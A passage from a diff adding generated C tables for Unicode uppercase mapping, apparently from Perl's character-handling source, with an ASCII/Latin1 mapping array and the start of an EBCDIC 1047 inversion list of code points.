+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	UC_use_AUX_TABLE_7,
+	UC_use_AUX_TABLE_8,
+	UC_use_AUX_TABLE_9,
+	UC_use_AUX_TABLE_10,
+	UC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	UC_use_AUX_TABLE_12,
+	0x1F59,
+	UC_use_AUX_TABLE_13,
+	0x1F5B,
+	UC_use_AUX_TABLE_14,
+	0x1F5D,
+	UC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	0x1FB8,
+	UC_use_AUX_TABLE_40,
+	UC_use_AUX_TABLE_41,
+	UC_use_AUX_TABLE_42,
+	0,
+	UC_use_AUX_TABLE_43,
+	UC_use_AUX_TABLE_44,
+	0,
+	UC_use_AUX_TABLE_41,
+	0,
+	0x399,
+	0,
+	UC_use_AUX_TABLE_45,
+	UC_use_AUX_TABLE_46,
+	UC_use_AUX_TABLE_47,
+	0,
+	UC_use_AUX_TABLE_48,
+	UC_use_AUX_TABLE_49,
+	0,
+	UC_use_AUX_TABLE_46,
+	0,
+	0x1FD8,
+	UC_use_AUX_TABLE_50,
+	UC_use_AUX_TABLE_4,
+	0,
+	UC_use_AUX_TABLE_51,
+	UC_use_AUX_TABLE_52,
+	0,
+	0x1FE8,
+	UC_use_AUX_TABLE_53,
+	UC_use_AUX_TABLE_5,
+	UC_use_AUX_TABLE_54,
+	0x1FEC,
+	UC_use_AUX_TABLE_55,
+	UC_use_AUX_TABLE_56,
+	0,
+	UC_use_AUX_TABLE_57,
+	UC_use_AUX_TABLE_58,
+	UC_use_AUX_TABLE_59,
+	0,
+	UC_use_AUX_TABLE_60,
+	UC_use_AUX_TABLE_61,
+	0,
+	UC_use_AUX_TABLE_58,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	UC_use_AUX_TABLE_62,
+	UC_use_AUX_TABLE_63,
+	UC_use_AUX_TABLE_64,
+	UC_use_AUX_TABLE_65,
+	UC_use_AUX_TABLE_66,
+	UC_use_AUX_TABLE_67,
+	0,
+	UC_use_AUX_TABLE_68,
+	UC_use_AUX_TABLE_69,
+	UC_use_AUX_TABLE_70,
+	UC_use_AUX_TABLE_71,
+	UC_use_AUX_TABLE_72,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Uppercase_Mapping_invlist[] = { /* for EBCDIC 1047 */
+	1381,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8E,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
